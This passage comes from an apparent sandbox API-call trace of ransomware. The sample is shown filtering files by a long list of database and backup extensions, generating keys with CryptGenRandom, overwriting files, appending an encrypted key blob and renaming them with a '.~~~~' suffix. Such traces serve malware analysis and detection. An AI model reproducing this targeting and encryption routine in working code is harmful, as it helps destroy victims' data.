	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".bak") returned 0x0
	[0082.395] lstrlenW (lpString=".myd") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".myd") returned 0x0
	[0082.395] lstrlenW (lpString=".DTXS") returned 5
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DTXS") returned 0x0
	[0082.395] lstrlenW (lpString=".ckp") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".ckp") returned 0x0
	[0082.395] lstrlenW (lpString=".dbt") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dbt") returned 0x0
	[0082.395] lstrlenW (lpString=".db") returned 3
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".db") returned 0x0
	[0082.395] lstrlenW (lpString=".TXT") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".TXT") returned 0x0
	[0082.395] lstrlenW (lpString=".MDF") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".MDF") returned 0x0
	[0082.395] lstrlenW (lpString=".bdb") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".bdb") returned 0x0
	[0082.395] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.396] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.397] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.397] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.397] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20238703920) returned 1
	[0082.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9af4da50, dwHighDateTime=0x1d60e1e)) 
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a34f8
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a34f8 | out: hHeap=0x300000) returned 1
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8410
	[0082.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8410 | out: hHeap=0x300000) returned 1
	[0082.398] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.398] GetLastError () returned 0x0
	[0082.398] GetLastError () returned 0x0
	[0082.398] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.398] GetLastError () returned 0x0
	[0082.398] GetLastError () returned 0x0
	[0082.398] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x18b80, lpOverlapped=0x0) returned 1
	[0082.401] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7480, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.401] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x18b80, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x18b80, lpOverlapped=0x0) returned 1
	[0082.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.402] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.402] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.402] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.402] CloseHandle (hObject=0x124) returned 1
	[0082.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8410
	[0082.402] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.~~~~")) returned 1
	[0082.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8410 | out: hHeap=0x300000) returned 1
	[0082.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.403] GetLastError () returned 0x0
	[0082.403] RtlWakeConditionVariable () returned 0x365f70
	[0082.403] GetCurrentThreadId () returned 0xaf0
	[0082.404] GetCurrentThreadId () returned 0xaf0
	[0082.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0082.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a34c0 | out: hHeap=0x300000) returned 1
	[0082.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e82c0
	[0082.404] lstrlenW (lpString=".scr") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".scr") returned 0x0
	[0082.404] lstrlenW (lpString=".cmd") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".cmd") returned 0x0
	[0082.404] lstrlenW (lpString=".dll") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dll") returned 0x0
	[0082.404] lstrlenW (lpString=".bat") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".bat") returned 0x0
	[0082.404] lstrlenW (lpString=".cpl") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".cpl") returned 0x0
	[0082.404] lstrlenW (lpString=".sys") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".sys") returned 0x0
	[0082.404] lstrlenW (lpString=".msc") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".msc") returned 0x0
	[0082.404] lstrlenW (lpString=".com") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".com") returned 0x0
	[0082.404] lstrlenW (lpString=".lnk") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".lnk") returned 0x0
	[0082.404] lstrlenW (lpString=".msp") returned 4
	[0082.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".msp") returned 0x0
	[0082.404] lstrlenW (lpString=".pif") returned 4
	[0082.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".pif") returned 0x0
	[0082.405] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.406] lstrlenW (lpString=".sqb") returned 4
	[0082.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".sqb") returned 0x0
	[0082.406] lstrlenW (lpString=".ost") returned 4
	[0082.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".ost") returned 0x0
	[0082.406] lstrlenW (lpString=".txt") returned 4
	[0082.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".txt") returned 0x0
	[0082.406] lstrlenW (lpString=".mdt") returned 4
	[0082.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".mdt") returned 0x0
	[0082.406] lstrlenW (lpString=".BDB") returned 4
	[0082.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".BDB") returned 0x0
	[0082.406] lstrlenW (lpString=".eql") returned 4
	[0082.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".eql") returned 0x0
	[0082.407] lstrlenW (lpString=".DBF") returned 4
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DBF") returned 0x0
	[0082.407] lstrlenW (lpString=".EQL") returned 4
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".EQL") returned 0x0
	[0082.407] lstrlenW (lpString=".FDB") returned 4
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".FDB") returned 0x0
	[0082.407] lstrlenW (lpString=".EDB") returned 4
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".EDB") returned 0x0
	[0082.407] lstrlenW (lpString=".DACPAC") returned 7
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.407] lstrlenW (lpString=".VHD") returned 4
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".VHD") returned 0x0
	[0082.407] lstrlenW (lpString=".DBV") returned 4
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DBV") returned 0x0
	[0082.407] lstrlenW (lpString=".dacpac") returned 7
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dacpac") returned 0x0
	[0082.407] lstrlenW (lpString=".sdf") returned 4
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".sdf") returned 0x0
	[0082.407] lstrlenW (lpString=".accdb") returned 6
	[0082.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".accdb") returned 0x0
	[0082.408] lstrlenW (lpString=".DBX") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DBX") returned 0x0
	[0082.408] lstrlenW (lpString=".MDT") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".MDT") returned 0x0
	[0082.408] lstrlenW (lpString=".SQB") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".SQB") returned 0x0
	[0082.408] lstrlenW (lpString=".vhd") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".vhd") returned 0x0
	[0082.408] lstrlenW (lpString=".bac") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".bac") returned 0x0
	[0082.408] lstrlenW (lpString=".mdf") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".mdf") returned 0x0
	[0082.408] lstrlenW (lpString=".BAK") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".BAK") returned 0x0
	[0082.408] lstrlenW (lpString=".BAC") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".BAC") returned 0x0
	[0082.408] lstrlenW (lpString=".dbs") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dbs") returned 0x0
	[0082.408] lstrlenW (lpString=".vhdx") returned 5
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".vhdx") returned 0x0
	[0082.408] lstrlenW (lpString=".NDF") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".NDF") returned 0x0
	[0082.408] lstrlenW (lpString=".dat") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dat") returned 0x0
	[0082.408] lstrlenW (lpString=".DBS") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DBS") returned 0x0
	[0082.408] lstrlenW (lpString=".CKP") returned 4
	[0082.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".CKP") returned 0x0
	[0082.409] lstrlenW (lpString=".edb") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".edb") returned 0x0
	[0082.409] lstrlenW (lpString=".PST") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".PST") returned 0x0
	[0082.409] lstrlenW (lpString=".dbf") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dbf") returned 0x0
	[0082.409] lstrlenW (lpString=".SQL") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".SQL") returned 0x0
	[0082.409] lstrlenW (lpString=".pst") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".pst") returned 0x0
	[0082.409] lstrlenW (lpString=".dbv") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dbv") returned 0x0
	[0082.409] lstrlenW (lpString=".SDF") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".SDF") returned 0x0
	[0082.409] lstrlenW (lpString=".dtxs") returned 5
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dtxs") returned 0x0
	[0082.409] lstrlenW (lpString=".db3") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".db3") returned 0x0
	[0082.409] lstrlenW (lpString=".OST") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".OST") returned 0x0
	[0082.409] lstrlenW (lpString=".dbx") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dbx") returned 0x0
	[0082.409] lstrlenW (lpString=".DB3") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DB3") returned 0x0
	[0082.409] lstrlenW (lpString=".DAT") returned 4
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DAT") returned 0x0
	[0082.409] lstrlenW (lpString=".VHDX") returned 5
	[0082.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".VHDX") returned 0x0
	[0082.410] lstrlenW (lpString=".ndf") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".ndf") returned 0x0
	[0082.410] lstrlenW (lpString=".DB") returned 3
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DB") returned 0x0
	[0082.410] lstrlenW (lpString=".sql") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".sql") returned 0x0
	[0082.410] lstrlenW (lpString=".MYD") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".MYD") returned 0x0
	[0082.410] lstrlenW (lpString=".DBT") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DBT") returned 0x0
	[0082.410] lstrlenW (lpString=".ACCDB") returned 6
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.410] lstrlenW (lpString=".fdb") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".fdb") returned 0x0
	[0082.410] lstrlenW (lpString=".bak") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".bak") returned 0x0
	[0082.410] lstrlenW (lpString=".myd") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".myd") returned 0x0
	[0082.410] lstrlenW (lpString=".DTXS") returned 5
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".DTXS") returned 0x0
	[0082.410] lstrlenW (lpString=".ckp") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".ckp") returned 0x0
	[0082.410] lstrlenW (lpString=".dbt") returned 4
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".dbt") returned 0x0
	[0082.410] lstrlenW (lpString=".db") returned 3
	[0082.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".db") returned 0x0
	[0082.410] lstrlenW (lpString=".TXT") returned 4
	[0082.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".TXT") returned 0x0
	[0082.411] lstrlenW (lpString=".MDF") returned 4
	[0082.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".MDF") returned 0x0
	[0082.411] lstrlenW (lpString=".bdb") returned 4
	[0082.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".bdb") returned 0x0
	[0082.411] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.411] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.412] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.412] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.412] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20240241869) returned 1
	[0082.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9af73bb0, dwHighDateTime=0x1d60e1e)) 
	[0082.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a34c0
	[0082.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a34c0 | out: hHeap=0x300000) returned 1
	[0082.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8368
	[0082.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
